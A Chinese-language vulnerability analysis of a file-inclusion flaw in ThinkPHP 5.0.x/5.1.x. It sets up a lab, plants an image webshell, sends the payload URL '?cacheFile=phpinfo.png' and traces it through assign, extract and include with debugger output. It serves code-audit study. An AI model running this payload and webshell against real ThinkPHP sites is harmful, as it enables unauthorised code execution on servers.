

## 目录

---

- 一、介绍
  - 1、简介
  - 2、版本
  - 3、搭建环境
  - 4、参考链接
- 二、复现
  - 1、Payload
  - 2、效果
- 三、分析
- 四、流程图

## 一、介绍

---

### 1、简介

该漏洞存在于ThinkPHP模板引擎中，在加载模板解析变量时存在变量覆盖问题，而且程序没有对数据进行很好的过滤，最终导致文件包含漏洞的产生。

### 2、版本

```
5.0.0 <= ThinkPHP <= 5.0.18
5.1.0 <= ThinkPHP <= 5.1.10
```

### 3、搭建环境

```
1) 获取测试环境
composer create-project --prefer-dist topthink/think=5.0.18 ThinkPHP_5.0.18

2) 修改composer.json的require字段
"require": {
    "php": ">=5.6.0",
    "topthink/framework": "5.0.18"
},

3) 执行composer更新语句
composer update

4) 修改控制器内容
<?php
namespace app\index\controller;
use think\Controller;
class Index extends Controller
{
    public function index()
```

```
{  
    $this->assign(request()->get());  
    return $this->fetch();  
}  
}
```

5) 创建application/index/view/index/index.html，内容随意（没有这个模板文件的话，在渲染时程序会报错）。

6) 在public目录下放置图片马（用于文件包含）。

## 4、参考链接

<https://github.com/hongriSec/PHP-Audit-Labs/blob/master/Part2/ThinkPHP5/ThinkPHP5%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E4%B9%8B%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB7.md>

## 二、复现


### 1、Payload

index.php/index/index?cacheFile=phpinfo.png

### 2、效果

▲ 不安全 | xxx.com/index.php/index/index?cacheFile=phpinfo.png



PHP Version 5.6.27	
	
System	Windows NT DESKTOP-RR1N7QP 10.0 build 19043 (Windows 10) i586
Build Date	Oct 14 2016 10:15:39
Compiler	MSVC11 (Visual C++ 2012)
Architecture	x86
Configure Command	ccscript /nologo configure.js "--enable-snapshot-build" "--enable-debug-pack" "--disable-zts" "--disable-lsapi" "--disable-nsapi" "--without-mssql" "--without-pdo-mssql" "--without-pi3web" "--with-pdo-oci=c:\php-sdk\oracle\x86\instantclient_12_1\sdk,shared" "--with-oci8-12c=c:\php-sdk\oracle\x86\instantclient_12_1\sdk,shared" "--with-enchant=shared" "--enable-object-out-dir=../obj/" "--enable-com-dotnet=shared" "--with-mcrypt=static" "--without-analyzer" "--with-pgo"
Server API	CGI/FastCGI
Virtual Directory Support	disabled
Configuration File (php.ini) Path	C:\Windows
Loaded Configuration File	F:\Range\PhpStudy2018\PHPTutorial\php\php-5.6.27-nts\php.ini
Scan this dir for additional .ini files	(none)
Additional .ini files parsed	(none)

## 三、分析

1、传入Payload，开启Debug。

```
1 <?php
2 namespace app\index\controller;
3 use think\Controller;
4 class Index extends Controller
5 {
6     public function index()
7     {
8         $this->assign(request()->get()); $this: {view => think\View, request =>
9         return $this->fetch();
10     }
11 }
```

2、跟进到assign函数，这里调用了View类下的assign函数，并将\$name（也就是数组格式的Payload）和空字符\$value作为实参。

```
protected function assign($name, $value = '') $name: {cacheFile => "phpinfo.png"}[1]
{
    $this->view->assign($name, $value); $name: {cacheFile => "phpinfo.png"}[1] $th
    return $this;
}
```

3、跟进到View类的assign函数，可以看到，这里是使用了array\_merge函数，将数组格式的Payload和空的\$data数组进行合并，并且没有进行过滤，直接返回当前对象。

```
public function assign($name, $value = '') $name: {cacheFile => "phpinfo.png"}[1] $value: ""
{
    if (is_array($name)) {
        $this->data = array_merge($this->data, $name); $name: {cacheFile => "phpinfo.png"}[1] $this: {instance =>
    } else {
        $this->data[$name] = $value;
    }
}
```

View > assign()

index.php

控制台 输出

变量

- php:95, think
- llr.php:146
  - var = (数组) [1]
- php:8, appli
  - engine = (think\view\driver\Think) [2]
  - data = (数组) [0]
  - replace = (数组) [5]
- php:343, think
  - \$value = ""
- php:457, think
  - \$\_COOKIE = (数组) [4]
- php:139, think
  - \$\_GET = (数组) [1]

4、随后程序进入到了fetch函数，该功能为加载模板输出，并调用了View类的fetch函数。





```

$template = $this->parseTemplateFile($template); $template: "F:\Range\PhpStudy2018\PHPTuto
if ($template) {
    $cacheFile = $this->config['cache_path'] . $this->config['cache_prefix'] . md5( string: $t
    if (!$this->checkCache($cacheFile)) {
        // 缓存无效 重新模板编译
        $content = file_get_contents($template);
        $this->compiler( &: $content, $cacheFile);
    }
    // 页面缓存
    ob_start();
    ob_implicit_flush( enable: 0);
    // 读取编译存储
    $this->storage->read($cacheFile, $this->data);
    // 获取并清空缓存

```

10、跟进到read函数中，这里是直接对用户指定的文件进行了包含载入，也就造成了最后的文件包含漏洞。

```

public function read($cacheFile, $vars = []) $cacheFile: "phpinfo.png" $vars: {cacheFile => "phpinfo.png"}[1]
{
    if (!empty($vars) && is_array($vars)) {
        // 模板阵列变量分解成为独立变量
        extract( &array: $vars, flags: EXTR_OVERWRITE); $vars: {cacheFile => "phpinfo.png"}[1]
    }
    //载入模版缓存文件
    include $cacheFile; $cacheFile: "phpinfo.png"
}

```

## 四、流程图

POST http://localhost:8000/index/index/index?cacheFile=1.jpg Params Send Save

Key	Value	Description	...	Bulk Edit
cacheFile	1.jpg			

```
class Controller
{
    protected function assign($name, $value = '')
    {
        $this->view->assign($name, $value);
        return $this;
    }
}

class View
{
    public function assign($name, $value = '')
    {
        if (is_array($name)) {
            $this->data = array_merge($this->data, $name);
        } else {
            $this->data[$name] = $value;
        }
        return $this;
    }
}

class View
{
    public function fetch($template = '', $vars = [], $replace = [], $config = [], $renderContent = false){
        $vars = array_merge(self::$var, $this->data, $vars); // 模板变量
        try { // 渲染输出
            $method = $renderContent ? 'display' : 'fetch';
            $this->engine->$method($template, $vars, $config);
        }
    }
}

class Think
{
    public function fetch($template, $data = [], $config = []){
        $this->template->fetch($template, $data, $config);
    }
}

class Template
{
    public function fetch($template, $vars = [], $config = []){
        if ($vars) {
            $this->data = $vars;
        }
        $this->storage->read($cacheFile, $this->data);
    }
}

class File
{
    public function read($cacheFile, $vars = []){
        if (!empty($vars) && is_array($vars)) {
            extract($vars, EXTR_OVERWRITE);
        }
        include $cacheFile;
    }
}
```

Diagram illustrating the data flow and state in the ThinkPHP framework:

- The **Controller** calls `assign($name, $value)` on the **View** object.
- The **View** object's `assign` method updates the `$this->data` property, which becomes `array(1, 'cacheFile: 1.jpg')`.
- The **View** object's `fetch` method is called, which merges the template variables and the current data into `$vars`.
- The **Think** object's `fetch` method calls the **Template** object's `fetch` method.
- The **Template** object's `fetch` method calls the **File** object's `read` method, passing the `$cacheFile` and the current data.
- The **File** object's `read` method uses `extract($vars, EXTR_OVERWRITE)` to make the variables available in the current scope and then includes the cache file.

Debug output for the **View** object:

- `$this: think\View`
- `instance: think\View`
- `var: array(0)`
- `engine: think\view\driver\Think`
- `data: array(1)`
- `cacheFile: "1.jpg"`
- `replace: array(5)`